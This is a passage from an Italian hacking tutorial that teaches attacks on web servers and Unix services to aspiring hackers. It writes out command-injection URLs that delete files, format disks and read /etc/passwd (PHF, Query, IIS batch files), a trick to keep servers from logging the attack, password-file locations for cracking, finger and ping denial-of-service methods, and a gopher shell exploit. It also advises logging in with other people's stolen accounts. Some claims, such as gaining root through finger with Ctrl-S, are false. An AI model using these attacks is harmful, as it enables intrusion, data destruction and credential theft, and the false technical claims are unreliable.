|Per chi preferisse le Form ai programmi di posta elettronica basterà cercare, |
|come detto prima, dei remailer usando i motori di ricerca. |
| |
| Un indirizzo tra i piu` affidabili: http://www.replay.com/remailer/ |
| |
| [NOTA] Questi siti sono attivi non per arrecare danni, ma per fornire un servi-|
| zio a quanti vogliono preservare la propria privacy elettronica. |
| Abusandone potreste mettere voi nei guai, o causare la chiusura del ser-|
| vizio. Inoltre molti remailer possono negarvi l'accesso al servizio in |
| caso di proteste da parte di terzi. In altre parole, usate il cervello..|
| |
+--------------------------------------------------------------------------------+
| |
| [D] - Web server |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - INTRODUZIONE ALLE TECNICHE DI BASE |
| |
|Le tecniche che inizieremo a vedere da questo capitolo in poi sono quelle di ba-|
|se per poter comprendere quelle più complesse. |
|Inoltre nella spiegazione di ciascuna tecnica ne approfitterò per spiegare altri|
|argomenti che normalmente in qualsiasi guida sull'hacking, in italiano o in in- |
|glese, sono lasciati alla... immaginazione del lettore. |
| |
|Dunque, in questo volume vedremo delle semplici tecniche relative alla sicurezza|
|(da un punto di vista hacker) dei server Web. |
| |
|Credo (e spero) che sappiate già usare un browser e i vari programmi... in caso |
|contrario vi consiglio vivamente di lasciar perdere l'hacking e iniziare con |
|qualcosa di piu` semplice, come accendere e spegnere il computer... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE DI BASE: I WEB SERVER - PARTE 1 |
| |
|Molti metodi usati in passato per hackerare un sito Web si basavano su dei pro- |
|blemi di sicurezza pre-esistenti causati dalla scarsa competenza dei Webmaster e|
|dei SysAdmin. |
|Ad esempio, un classico errore era lasciare programmi che hanno funzione di in- |
|terpreti di comandi, come ad esempio il Perl (file perl.exe) accessibili a chi- |
|unque tramite Internet. |
| |
|Dal momento che tali programmi accettano parametri, se avessimo voluto cancel- |
|lare l'intero contenuto di una directory avremmo potuto eseguire il comando di |
|eliminazione semplicemente collegandoci all'URL (indirizzo Web). |
| |
|Nel nostro esempio, dal momento che il linguaggio in questione e` il Perl, il co|
|mando per eliminare la directory è "unlink <*>" (senza gli apici). |
|Per "dire" al Perl di eseguire un comando va usata l'opzione "-e". Il comando |
|completo sarà quindi: perl.exe -e unlink <*> |
| |
|Ora supponiamo che il povero Webmaster :) abbia lasciato perl.exe nella directo-|
|ry cgi-bin (dove si trovano quasi tutti i programmi usati su un sito). |
|Non dovremo fare altro che collegarci dal nostro browser a questo indirizzo: |
| |
| http://www.nomesito.com/cgi-bin/perl.exe?-e+unlink+%3C*%3E |
| |
|Ecco cosa stiamo facendo: http://www.nomesito.com/cgi-bin/perl.exe non è altro |
|che l'indirizzo del programma da eseguire; il punto interrogativo ci consente di|
|passare dei comandi qualsiasi al programma (probabilmente lo avrete già visto |
|quando vi collegate ai motori di ricerca); infine, come già detto prima, "-e" |
|dice al Perl di eseguire il comando che segue. |
|I segni + non sono altro che gli spazi. Poiché negli URL non si usano spazi van-|
|no usati i + al loro posto. |
|Ora troviamo la parola unlink, un altro + (spazio) e poi %3C*%3E ...cos'e`? |
|Se guardate piu` sopra, vedrete che il comando da eseguire era unlink <*> |
|Non abbiamo fatto altro che sostituire < con il suo codice ASCII in notazione |
|esadecimale (3C preceduto da % per indicare che e` un codice ASCII) e lo stesso |
|abbiamo fatto per > mentre l'asterisco e` rimasto uguale. |
| |
|Ovviamente non dovrete imparare i codici a memoria, vi basterà trovare una tabel|
|la ASCII come quelle che si trovano sui libri di informatica e di programmazione|
|o in alcune piccole utility. Se non l'avete, prima di proseguire è assolutamente|
|necessario che ve la procuriate. |
| |
| [VEDERE FILE ALLEGATO ASCII.ZIP] |
| |
|Dicevamo... perche` questi cambiamenti? |
|Perche` esistono delle regole per "scrivere" un URL: caratteri come / e \ (detti|
|slash e backslash), le parentesi e le virgolette, gli spazi e quasi tutta la |
|punteggiatura in genere (ad esclusione di + - e pochi altri simboli) vanno *sem-|
|pre* sostituiti con il relativo codice ASCII. Tutti gli altri caratteri possono |
|rimanere invariati. |
|

  
|
|Dunque quando dovremo scrivere uno dei simboli sopra descritti non bisognerà fa-|
|re altro che cercarne il codice in esadecimale e scriverlo al suo posto, metten-|
|do un simbolo di percentuale prima del codice. |
|Tali codici sono detti di "escape". |
| |
|In modo analogo, un server Web come il Microsoft IIS per Windows (versioni dalla|
|1.x alla 2.0b) oppure il server di Windows NT 3.x può essere "forzato" ad esegui|
|re dei comandi arbitrari, come ad esempio: |
| |
| http://www.nomesito.com/cgi-bin/scrivimi.bat?&dir+c:\+%5Cs |
| |
|In questo caso scrivimi.bat è un file batch (.bat). |
|E' molto facile da scoprire se un server utilizzi tali file, in quanto basta da-|
|re un'occhiata alle pagine Web di un sito (e magari al loro listato) per scopri-|
|re se vi sono riferimenti ad essi. |
| |
|ovviamente il trucco funziona solo con i server sopra elencati (per Windows) e |
|con pochissimi altri. Inoltre le nuove versioni hanno corretto questo problema. |
| |
|Il "bug" (errore) in questo caso risiede nella gestione dei files batch. |
| |
|come vediamo, aggiungendo ?& al nome del file e poi scrivendo i comandi da ese- |
|guire, il server crederà di stare eseguendo ancora il file batch e in realtà fa-|
|rà ben altro... nel nostro caso, il comando codificato è il seguente: dir c:\ /s|
|(dove / e` stato sostituito con il suo codice, %5C). |
| |
|Avremo quindi come risultato di tale comando l'elenco completo di *tutte* le dir|
|ectory e i file presenti sul server (utile per sapere dove mettere le mani se |
|cerchiamo qualcosa in particolare o vogliamo modificare qualcosa). |
| |
|Quelle descritte non sono vere e proprie tecniche hacker: sono degli exploit per|
|poter sfruttare i problemi di sicurezza conosciuti a nostro vantaggio. |
|Le trattiamo anche perche` non si può imparare qualcosa di complesso senza cono-|
|scere le basi e i ragionamenti che sono dietro un exploit. |
| |
|Tali exploit sono ampiamente discussi e spiegati (in inglese) su Internet e a |
|volerli spiegare tutti non basterebbero 100 volumi di questa enciclopedia. |
|Ecco perché vi invito fin d'ora ad "avventurarvi" sulla Rete, a cercare e a pro-|
|vare... e soprattutto a imparare l'inglese (se non lo conoscete gia`), perché la|
|stragrande maggioranza delle documentazioni e dei siti che possono insegnarvi |
|qualcosa (come il mitico Silicon Toad... http://www.silitoad.org oppure come Ha-|
|ckers Underground... http://www.underground.org) è, che lo vogliate o meno, in |
|inglese. In una parola: LEGGETE. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE DI BASE: I WEB SERVER - PARTE 2 |
| |
|Come abbiamo visto, molti server Web per Windows (come Microsoft IIS oppure Win-|
|dows NT server) possono essere utilizzati per eseguire comandi arbitrari utiliz-|
|zando lo schema seguente: |
| |
| [URL].../nomescript.bat?&comando_1+comando_2+...+comando_N |
| |
|E' bene notare che i server Web registrano in uno o più file (detti "log") tutte|
|le operazioni effettuate, e quindi nel caso utilizzassimo l'hack sopra descritto|
|esso verrebbe senza dubbio registrato, insieme al nostro IP Address e ad altre |
|informazioni. |
| |
|Per evitarlo, possiamo fare due cose. Una possibilità è aggiungere alla fine |
|dell'URL contenente i nostri comandi, il comando "time" oppure "date", in questo|
|modo: |
| |
| http://www.sito.com/cgi-bin/prova.bat?&echo+S+%7C+format+c%3A+%2Fu+time |
| |
|Procediamo ora con la spiegazione di questo URL. Il comando eseguito e`: |
| |
| echo S | format c: /u |
| |
|seguito dal comando "time", che vedremo dopo. Il comando "format c:" come sappia|
|mo serve a formattare un disco, in questo caso l'hard disk "C", mentre "/u" indi|
|ca a "format" di procedere con una formattazione incondizionata, cioè senza sal-|
|vare i dati presenti sul disco... ma "format", una volta eseguito, chiede all'ut|
|ente di premere un tasto: S (si) oppure N (no), e non farà nient'altro fino a |
|che non avrà uno dei due input. |
| |
|per ovviare all'inconveniente, non potendo noi digitare "S" sulla tastiera del |
|computer che vogliamo hackerare, utilizziamo "echo S" seguito da "|". |
|In pratica "|" (detto "pipe") serve ad inviare l'output del comando "echo" (il |
|carattere "S") al comando successivo (format), simulando la pressione del tasto.|
|Abbiamo così risolto il problema. |
| |
|Una funzione non documentata del comando format è l'opzione "/autotest". |
|Tale opzione corrisponde in pratica alla riga di comando sopra descritta, |
|e quindi potremo (solo nel caso di format) fare a meno di echo, pipe e "/u" scri|
|vendo "format c: /autotest" (NON scrivetelo sul vostro computer). |
| |
|l'hard disk verrà formattato senza chiedere alcunché all'utente. |
| |
|Ma ora torniamo al comando time (oppure date). Perché l'abbiamo aggiunto? |
| |
|I server registrano le operazioni nei log solo DOPO che tali operazioni siano st|
|ate effettivamente eseguite. Ad esempio, quando un URL viene "chiamato" e abbia-|
|mo ricevuto il contenuto della pagina ad esso associata. |
|Per impedire al server di terminare l'operazione (e quindi di registrare l'URL |
|hackerato e il nostro IP nel file di log) usiamo quindi time o date. |
| |
|Come sappiamo questi due comandi non fanno altro che cambiare ora o data, e a ta|
|le scopo chiedono all'utente il nuovo valore (l'orario, nel caso di time) all'u-|
|tente. Ma dal momento che il server non sa rispondere ai comandi ;) la loro ese-|
|cuzione non potrà essere completata, il log non verrà scritto e noi avremo ot- |
|tenuto quello che volevamo... segretezza :) |
| |
|Vi ho detto però che esistono DUE modi. Ecco il secondo: esiste su Internet un |
|server molto simile all'Anonimizzatore di cui vi ho parlato in un volume prece- |
|dente a questo. Si tratta di iPROXY (http://www.iproxy.com), un server che offre|
|gratuitamente la possibilita` di collegarsi anonimamente ai siti, digitando |
|l'URL desiderato (vi dice niente?). |
| |
|non e` ovviamente una tecnica, ma un servizio pensato per ben altri scopi che |
|per l'hacking... ma meglio uno in più che in meno ^_^ |
| |
|Tornando ai problemi di sicurezza... |
| |
|Un altro bug di IIS è il seguente: aggiungendo uno (o una coppia) di punti alla |
|fine di un file script, anziché essere eseguito, il contenuto del file verrà Vi-|
|sualizzato sullo schermo del vostro browser. |
|Un altro bug simile permette di visualizzare file "segreti" (come pagine protet-|
|te da password, documenti che non dovrebbero poter essere visualizzati in quanto|
|"interni" e qualsiasi altro file presente sull'hard disk del server), in questo |
|modo: |
| |
| http://www.sito.com/..\..\..\..\qui_va_il_percorso\nome_del_file |
| |
|Esistono molti altri bugs, per i quali vi rimando (nel caso di Windows) ai siti |
|sulla sicurezza di Windows. |
| |
|Passiamo ora agli altri Web server. |
| |
|Restando in tema di Windows NT/95 un altro server che ha il problema degli scri-|
|pt in cgi-bin è O'Reilly WebSite (versioni fino alla 1.1b). |
| |
|Per leggere invece un file log (WebSTAR.LOG) del server WebStar per Macintosh ba|
|sta utilizzare il codice escape al posto del punto (nel nome del file): |
| |
| http://www.sito.com/WebSTAR%20LOG |
| |
|Tenete presente che i bug fin qui descritti sono applicabili solo ai relativi |
|software. Non cercate, pertanto, di utilizzare "time" con un server Unix o roba |
|del genere. |
| |
+--------------------------------------------------------------------------------+
| |
| [E] - Web server Unix |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE DI BASE: I WEB SERVER UNIX |
| |
|Il Web server standard di Unix, Linux, ecc. è httpd della NCSA. |
| |
|Tutte le versioni fino alla 1.4 hanno un bug molto frequente nel software server|
|(lo ritroveremo ad esempio nei server SMTP, vecchi e nuovi). |
|Si tratta di un problema detto "buffer overflow", che consiste nel riempire tut-|
|ta l'area di memoria riservata dal server ai dati, e fargli eseguire un program-|
|ma (molto piccolo, e preferibilmente in assembler) scritto da noi. |
|Essendo una tecnica molto complessa la vedremo più avanti, poiché ci sarà più u-|
|tile con SMTP (per avere accesso root) che con il Web, in quanto nei nuovi ser- |
|ver questo problema sembra essere stato corretto. |
|Per la cronaca, lo stesso bug esiste anche nel server Apache (fino alla versione|
|1.02). |
| |
|Esistono poi degli hack (un "hack" è una tecnica di hacking) che hanno letteral-|
|mente fatto storia. |
|Relativamente vecchio ma ancora molto utilizzato è quello del PHF, usato per hac|
|kerare le pagine Web di CIA, FBI e moltissimi altri, più o meno famosi. Prima di|
|spiegare questa tecnica è bene precisare una cosa: se state leggendo questi vo- |
|lumi per imparare, non avrete certamente la capacità di rendervi "invisibili" |
|agli occhi di un SysAdmin... quindi attenti a non utilizzare queste tecniche. |
| |
|Molti siti (come ad esempio unina.it, l'Università di Napoli) hanno software in |
|grado di riconoscere gli hack più conosciuti (tra cui PHF e Query). |
|Potrebbero far sospendere il vostro account Internet, se non denunciarvi... |
| |
|Ma prima dobbiamo fare un breve corso sul sistema di password di Unix. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE DI BASE: UNIX E LE PASSWORD |
| |
|Riflettiamo un attimo: qual'è la parte più interessante di un sistema Unix (o |
|Linux)? Certamente il file delle password, nel quale si trova, in forma criptata|
|anche la password di root (oltre a quelle di tutti gli altri utenti). |
| |
|Una classica entry (riga di testo contentente dati) di un file password è di que|
|sto tipo: |
| |
| username:4cFJg5aMkC9f:1000:20:nome e cognome:/home/utente:/bin/ksh |
| |
|I campi sono delimitati dai due punti, e sono: |
| |
| - Nome utente (username) |
| - Password criptata |
| - Numero utente |
| - Numero gruppo |
| - GECOS (nome e cognome, oppure altre informazioni sull'utente) |
| - Directory utente (dalla quale in genere non potete uscire) |
| - Shell utilizzabile dall'utente (in genere limitata se non siete root) |
| |
|Nel caso in cui uno o più campi siano disabilitati, li troverete vuoti (i due pu|
|nti saranno vicini) oppure troverete uno slash (/) al loro posto. |
|Nel caso della shell, in alcuni casi troverete /bin/false che, in pratica, cor- |
|risponde allo slash (e quindi a nessuna shell). |
| |
|Ma dove si trova il file delle password? |
| |
|La directory standard è /etc e il file si chiama passwd, quindi il percorso com-|
|pleto sarebbe /etc/passwd ma la maggior parte dei nuovi sistemi ha un meccanismo|
|denominato "shadowing" delle password. Per evitare di prelevare il file contente|
|nte le password, infatti, viene creato un secondo file, il cui nome in genere è |
|shadow (in molti casi si troverà nella directory /etc) che contiene, in forma un|
|pò diversa da quella appena vista, tutti i campi, comprese quindi le password |
|(criptate), e NON è accessibile agli utenti. |
| |
|Il file passwd, invece, conterrà tutti i soliti campi, ma al posto della pas- |
|sword conterrà un simbolo, detto Token (che in genere e` un asterisco). |
| |
|Perché questo? Le password sono criptate, ma è ancora possibile risalire ad esse|
|crackarle (da "crack"). Non si possono decriptare, ma si può usare una lista di |
|parole probabili (detta dizionario), criptarle una per una e confrontare il ri- |
|sultato con le password criptate in passwd. Se coincidono, abbiamo trovato una |
|password. |
|Ovviamente per fare tutto ciò si usano dei programmi appositi. I più usati (e i |
|migliori) sono CrackerJack e HellFire Cracker. Praticamente tutti i siti Web con|
|tenenti materiale per hackers ne hanno una copia. |
| |
|Tornando alle password, se un sistema usa lo shadowing, per risalire al vero fi-|
|le delle password, in base al sistema operativo usato potremo trovarlo in direc-|
|tory differenti, come mostrato in questa tabella tratta dalla HackFAQ: |
| |
| Sistema Unix Path (percorso) del file Token |
| ---------------------------------------------------------------- |
| AIX 3 (caso 1) /etc/security/passwd ! |
| AIX 3 (caso 2) /tcb/auth/files/p/pippo # |
| A/UX 3.0s /tcb/files/auth/?/ * |
| BSD4.3-Reno /etc/master.passwd * |
| ConvexOS 10 /etc/shadpw * |
| ConvexOS 11 /etc/shadow * |
| DG/UX /etc/tcb/aa/user/ * |
| EP/IX /etc/shadow x |
| HP-UX /.secure/etc/passwd * |
| IRIX 5 /etc/shadow x |
| Linux 1.1 /etc/shadow * |
| OSF/1 /etc/passwd[.dir|.pag] * |
| SCO Unix #.2.x /tcb/auth/files/p/pippo * |
| SunOS4.1+c2 /etc/security/passwd.adjunct ##username |
| SunOS 5.0 /etc/shadow * |
| System V Release 4.0 /etc/shadow x |
| System V Release 4.2 /etc/security/* database * |
| Ultrix 4 /etc/auth[.dir|.pag] * |
| UNICOS /etc/udb * |
| ---------------------------------------------------------------- |
| |
|Ora che sappiamo cosa cercare (e dove), passiamo alle tecniche da impiegare. |
| |
|Un file /etc/passwd standard può spesso essere prelevato tranquillamente con FTP|
|oppure collegandosi ad un indirizzo come: |
| |
| http://www.sito.com/ftp/etc/passwd |
| |
|oppure... |
| |
| ftp://ftp.sito.com/etc/passwd |
| |
|tenendo però presente che in genere i SysAdmin leggono i log... scaricando il lo|
|ro file delle password non li farete certo felici. |
| |
|Quindi, non appena riuscirete a procurarvi username e password di un account |
|(che non sia né vostro né di amici, se ci tenete alle amicizie...) è consigliabi|
|le utilizzare quello anziché il vostro account. |
| |
|Una volta prelevato /etc/passwd diamogli un'occhiata: se il secondo campo di cia|
|scun rigo (o di almeno un paio di essi) contiene una password criptata, possiamo|
|essere quasi sicuri che non esista nessuno shadowing. |
| |
|Dico *quasi* perché alcuni grossi server stranieri hanno recentemente usato dei |
|file passwd fittizi. Crackandoli e provando a collegarsi con le password trovate|
|non si riesce a collegarsi... perché sono tutte false e servono a depistare l'ha|
|cker inesperto. E' raro che accada, ma è da tener presente. |
| |
|Nel caso dovessimo trovare un Token al posto della password, ci affideremo alle |
|tecniche di cui parlavamo in principio. |
| |
|Il primo hack che descriveremo è quello del PHF. |
| |
|PHF è una piccola utility di "agenda telefonica" presente in Unix, Linux, ecc. |
|Anch'essa puo` essere usata in modo sovversivo, per far eseguire dei comandi |
|qualsiasi a un server. |
| |
|Basta collegarsi a un URL del genere: |
| |
| http://www.sito.com/cgi-bin/phf?Jserver=x&Qalias=x%0A/bin/cat%20/etc/passwd |
| |
|oppure più semplicemente... |
| |
| http://www.sito.com/cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd |
| |
|usando /etc/shadow (o altri, vedi tabella sopra) al posto di /etc/passwd per pre|
|levare il vero file delle password. |
| |
|Quello che avviene "chiamando" questi URL è che il file PHF viene eseguito (ven-|
|gono passati parametri fittizi, come Jserver e Qalias) e poi si simula un invio |
|a capo (codice %0A) per inviare un nuovo comando, che nel nostro caso è /bin/cat|
|/etc/passwd (%20 equivale allo spazio, ma si puo` usare anche "+" al suo posto),|
|ma puo` essere *qualsiasi* comando si voglia. |
| |
|In quel momento, infatti, abbiamo accesso root! =) |
| |
|E come tali, possiamo eseguire comandi, creare, modificare, distruggere... |
| |
| [NOTA] il file /bin/cat equivale al comando "type" del DOS. Serve quindi a vi- |
| sualizzare un file, e occasionalmente anche a crearne uno o ad agiungere|
| righe di testo ad uno pre-esistente. Supponiamo di voler inserire una ri|
| ga nel file "prova": in tal caso, useremo "cat" unitamente ai simboli di|
| ridirezione > e >> e | (pipe), proprio come nel DOS. |
| Alcuni esempi: |
| /bin/cat prova > test crea un file col nome test e vi scrive "prova" |
| /bin/cat prova >> test aggiunge la parola "prova" al file "test" |
| |
|Ovviamente per crackare un file shadow che, come abbiamo detto, usa un formato |
|differente, dovremo prima effettuare il de-shadowing (trasformare shadow in for-|
|mato passwd standard) e poi effettuare il cracking con i normali CrackerJack e |
|simili. |
| |
|Esistono su Internet programmi appositi per tale operazione. |
| |
|Una tecnica molto simile a quella del PHF è quella del Query: |
| |
| http://www.sito.com/cgi-bin/query?%0A/bin/cat%20/etc/passwd |
| |
|che funziona in modo analogo a quello già visto del PHF. |
|Dopo il "?" andrebbe inserito qualcosa da richiedere al server, ma poiché a noi |
|interessa solo eseguire comandi, ci "limiteremo" ancora una volta a scriverli do|
|po il codice %0A. |
| |
|Un'ultima cosa che può tornarci utile è che molti server hanno un file chiamato |
|test-cgi nella directory cgi-bin. Se tale file contiene il comando: |
| |
| echo QUERY_STRING = $QUERY_STRING |
| |
|potremo, ad esempio, dare un'occhiata alla directory di root ("/*") con il se- |
|guente URL: |
| |
| http://www.sito.com/cgi-bin/test-cgi?/* |
| |
|o della directory corrente usando solo "*" anziche` "/*", e così via. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - POSTILLA |
| |
|Che lo si creda o meno, nonostante queste tecniche siano abbastanza vecchie e |
|utilizzatissime, sono parecchi i server (anche quelli "importanti") che sono |
|vulnerabili. Spesso inoltre non registrano neppure l'IP Address dell'hacker. |
| |
|Ovviamente se il server vi risponde qualcosa come "il tuo tentativo di hackerare|
|questo server sarà comunicato a chi di dovere" (in inglese) state pur certi che |
|vi troverete nei guai. Quindi aspettate di diventare hackers prima di mettere in|
|pratica... conoscere le tecniche non basta. Se credete di essere già diventati |
|hackers conoscendole, mi dispiace deludervi... vi potrete solo mettere nei guai |
|e farvi etichettare per sempre come patetici "lamer" (termine dispregiativo del |
|gergo hacker per indicare un hacker nato perdente). |
| |
+--------------------------------------------------------------------------------+
| |
| [F] - Miscellanea |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE DI BASE: MISCELLANEA |
| |
|Nel volume precedente abbiamo visto come sfruttare alcuni problemi di sicurezza |
|del software server. |
| |
|Dal momento che è necessario conoscere tipo e versione del software e sistema |
|operativo, dobbiamo sapere come avere tali informazioni. |
| |
|Ancora una volta ci torna comodo utilizzare Telnet. Basterà infatti collegarsi |
|alla porta del servizio interessato per ottenere quasi sempre informazioni pre- |
|ziose. |
| |
|Ad esempio, se ci colleghiamo alla porta HTTP, FTP o SMTP, il server ci "salute-|
|rà" indicandoci tipo e versione del software, data locale e altre utili informa-|
|zioni. |
|Altre ancora possiamo ottenerle tramite il programma "finger", che serve a mos- |
|trare informazioni su un dato utente di un dato sistema. |
| |
|Alcuni siti inoltre ci risparmiano la fatica di cercare: infatti, i Webmaster do|
|po aver acquistato un "potente" software server, scrivono orgogliosi sulle loro |
|pagine "questo sito utilizza il software xxxxx versione yyyyy"... |
| |
|Un'ulteriore nota sulla porta HTTP: i vecchi server (versioni fino alla 1.3) di |
|httpd (per Unix e Linux) possono essere crashati richiedento un URL con un forma|
|to sbagliato. Esistono in giro diversi exploit sull'argomento, e pertanto vi ri-|
|mando alle mailing list sulla sicurezza su Internet. |
| |
| [NOTA] Da ora in poi quando parlerò di Unix mi riferirò anche a Linux, AIX, |
| Solaris, ecc. a meno che sia diversamente specificato. |
| |
|Prima di procedere vorrei farvi notare che non è necessario scrivere in tempo |
|reale i vostri comandi in Telnet (anche perché correte il rischio di sbagliare e|
|non poter cancellare). Moltissimi client hanno le funzioni Copy e Paste (Copia e|
|Incolla), che potete usare unitamente a un programma di videoscrittura (come il |
|Block Notes di Windows) per velocizzare le operazioni (e ridurre il numero di ci|
|fre sulla vostra bolletta telefonica). |
|Vi basterà infatti scrivere tutti i comandi nel block notes, usare Copy e poi, |
|una volta in Telnet, usare Paste. Un consiglio: non usate testi troppo lunghi, |
|perché alcuni server potrebbero non essere abbastanza veloci per riceverli. |
| |
|Altri programmi vulnerabili a un atacco tramite Telnet sono Finger, Ping, Gopher|
|Pine e altri; in pratica, per quasi tutti quelli esistenti esiste un hack su mi-|
|sura. |
| |
|Ovviamente per capire di cosa sto parlando vi serviranno i programmi in questio-|
|ne. Iniziamo da finger. |
| |
|Usando @ oppure 0 (o uno degli username standard come root, bin, ftp, system, de|
|mo, guest, ecc.) nell'effettuare una richiesta tramite finger è possibile ottene|
|re (specie con i vecchi server) svariate informazioni. |
| |
|Ma supponiamo ora di voler crashare il server finger. Per quale motivo? |
|Siamo tutti hackers.malicious o crackers? ;) No, il motivo è un altro: se il ser|
|ver finger (per Unix) dovesse crashare, noi avremmo accesso root. |
|Perché? Se il server crasha, non avremo più un "interprete" dall'altra parte che|
|"filtra" i nostri comandi e ci da informazioni quando scriviamo finger... ma av-|
|remo una specie di connessione diretta alla shell dei comandi con il livello d'-|
|accesso massimo (root, per l'appunto). |
| |
|Ecco come si fa: (non sbavate, siamo ancora al principio ;) |
| |
|utilizzando Telnet, il cui scopo è fornire una connessione e lasciarla nelle nos|
|tre mani, ci colleghiamo alla porta 79 (finger) del server desiderato (assicuria|
|moci però prima che il sistema operativo sia effettivamente Unix eche abbia il |
|server finger attivato). |
|Ora, quello che fa un normale client finger è semplicemente inviare il comando |
|"finger nomeutente" e visualizzare le informazioni ricevute. |
|Nient'altro. E' uno spreco... tanto potere buttato al vento =) |
|E pensare che finger ha anche accesso a tutte le directory degli utenti, e a sa-|
|perlo controllare si potrebbero anche "ritoccare" i vari files... |
| |
|Ma noi, che abbiamo ben altre intenzioni (buone... lo dico per il NOPT, il Nu- |
|cleo Operativo di Polizia Telematica ;) possiamo fare di meglio. |
| |
|Scrivendo ///* seguito dalla combinazione Ctrl-S accederete a root e paraliz- |
|zerete il server (Ctrl-S e` un codice di controllo detto "freeze", cioe` "con- |
|gela"). A questo punto la connessione è in mano vostra. |
| |
|Il client finger può essere usato per un attacco di tipo D.O.S. (Denial Of Servi|
|ce, cioè negare l'accesso a un servizio disattivandolo). |
| |
|Se usiamo finger per collegarci a un server troppe volte (lasciando "aperta" og-|
|ni connessione) dopo un po' il server rifiuterà a chiunque altro di collegarsi, |
|e l'intero server del sito verrà rallentato; in alcuni casi potrebbe addirittura|
|crashare. |
| |
|Per fare una cosa del genere bisognerebbe chiamare decine di volte lo stesso pro|
|gramma... una soluzione migliore consiste nel programmare da sé una utility che |
|effettui molte connessioni alla stessa porta dello stesso server. |
| |
|Se il vostro client lo consente, potete nascondere il vostro IP Address effet- |
|tuando un "bounce" (rimbalzo). In pratica si tratta di richiedere a un server di|
|fare la stessa richiesta a un altro server, per far risultare come "richiedente"|
|il suo IP Address anziché il nostro. |
|Il comando è nel formato: |
| |
| finger @sito.com@altrosito.com |
| |
|Non preoccupatevi se non avete capito tutto: vi torneranno utili quando dovrete |
|studiare un attacco e conoscerete meglio l'Arte. |
| |
| [Nota su finger] Alcuni siti (mi sembra di ricordare quello della Microsoft) |
| disabilitano finger per evitare problemi... in alcuni casi pe-|
| rò si limitano a disabilitarlo, NON a cancellarlo dalla direc-|
| tory del server. |
| Potrete quindi accedervi usando questo URL: |
| http://www.sito.com/cgi-bin/finger |
| |
|e per passare i parametri aggiungete "?" e i vostri comandi con il metodo della |
|codifica degli URL descritta nei volumi precedenti. |
| |
|Personalmente non ho provato la tecnica del ///*^S su server non-Unix (come Win-|
|dows NT e 95) in quanto essa è basata sulla struttura di Unix. Comunque potrebbe|
|essere interessante provare; da cosa nasce cosa... |
| |
|Passiamo ora a Ping. |
| |
|Combinato a Finger, Ping è eccellente per effettuare un attacco D.O.S. in quanto|
|è utilizzato praticamente ovunque, e non correte il rischio di non poterlo uti- |
|lizzare come accade in alcuni casi con Finger. |
| |
|Per chi non lo conosce, diciamo che Ping è un programma per controllare la pre- |
|senza di un sito su Internet e valutare la sua velocità di collegamento. |
| |
|Il funzionamento è molto simile: aprire molte connessioni a un server fino a che|
|questo collasserà per il troppo lavoro richiesto alla CPU. |
|Se avete la possibilitè di scegliere tra Ping e Ping-f vi consiglio di scegliere|
|quest'ultimo, in quanto è estremamente più veloce. |
| |
|Linux è inoltre vulnerabile a un particolare attacco: da un computer che usi Win|
|dows 95 o NT si può usare questo comando: |
| |
| ping -l 65510 sito.com |
| |
|dove sito.com è un sito che usa Linux (versioni fino alla 2.0.20 esclusa). |
|La macchina si bloccherà e si riavviera` automaticamente. |
| |
|Potete sperimentare anche altri valori tra 65508 e 65527 in luogo di 65510. |
| |
|Le vecchie versioni di Gopher hanno un serio bug: creando un file .links su un |
|server gopher pubblico, contenente queste linee di testo: |
| |
| Type=8 |
| Name=Sceglimi |
| Host=;/bin/sh |
| Port= |
| Path= |
| |
|potete collegarvi a Gopher, entrare nella directory dove avete piazzato il file |
|.links e scegliere la voce "Sceglimi". Il comando messo dopo "Host=;" verrà ese-|
|guito (nel nostro caso, una shell con accesso root). |
| |
+--------------------------------------------------------------------------------+
| |
| [G] - Invio e-mail |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE AVANZATE: SENDMAIL |
| |
|Sarete felici di sapere che questo è l'ultimo volume sulle tecniche fondamentali|
|e gli exploit. Dal prossimo inizieremo con l'hacking vero e proprio, e metteremo|
|in pratica (con grande dolore da parte dei SysAdmin) quello che faremo di volta |
|in volta. Ovviamente mi aspettero` che ora che avete abbastanza informazioni di |
|base abbiate chiari concetti come server e client, FakeMail, come fare piccole |
|cose come trovare la versione di un server, ecc. Se qualcosa non dovesse essere |
|chiaro, non esitate a scrivermi e ad esporre il problema. Cercherò di risponder-|
|vi non appena avrò trovato abbatanza tempo. NON chiedetemi qual'è la password di|
|un sito xxx o dove trovare la versione pirata di un gioco. Siamo hackers, non |
|pirati. |
| |
|Qualcuno mi ha chiesto perché sto scrivendo questa "enciclopedia". Beh, forse |
|perché è quello che ho sempre cercato e non ho mai trovato quando volevo impara-|
|re l'hacking... e poi credo che sia molto piu` completa di quei piccoli files |
|sulle basi dell'hacking scritti da hackers, per hackers. Ma quale sarebbe lo sco|
|po? Se uno è già hacker, non ha bisogno di imparare le basi di quello che cono- |
|sce già... okay, parentesi chiusa. |
| |
|Quello che partirà dal prossimo volume sarà pertanto un vero e proprio corso di |
|hacking a puntate (con tanto di supporto via email), dedicato a tutti coloro che|
|mi hanno scritto e hanno creduto in questo progetto di divulgazione, siano essi |
|hackers o wannabe (futuri hackers, speriamo). |
| |
|Iniziamo dunque questo ultimo volume sule tecniche con una breve descrizione del|
|servizio di posta elettronica di Unix. |
| |
|Il programma server che risponde a chi si collega alla porta SMTP (25) è chiama-|
|to Sendmail. Come abbiamo visto in un precedente volume, all'atto del collega- |
|mento via Telnet avremo una risposta di questo genere: |
| |
| 220 server.com Sendmail 8.6/8.7 12/31/97 ready at Sun, 23 Oct 97 19:44:03 PDT |
| |
|(il numero di versione di un server lo troviamo anche sbirciando tra gli headers|
|delle emails che riceviamo quotidianamente). |
| |
|I numeri 8.6/8.7 dopo la parola "Sendmail" (oppure "Smail") rappresentano la ver|
|sione del server SMTP. Mettiamo una volta per tutte in chiaro che SMTP è il nome|
|del servizio (della porta 25) e Sendmail è il nome del programma che si occupa |
|di gestire SMTP: in pratica Sendmail è il server SMTP di Unix. |
| |
|Dunque, perché dovremmo voler conoscere il numero di versione di Sendmail? |
| |
|Sendmail è famoso tra gli hackers come il programma più "bacato" esistente. |
|Basti pensare che praticamente tutte le versioni di Sendmail in giro (anche quel|
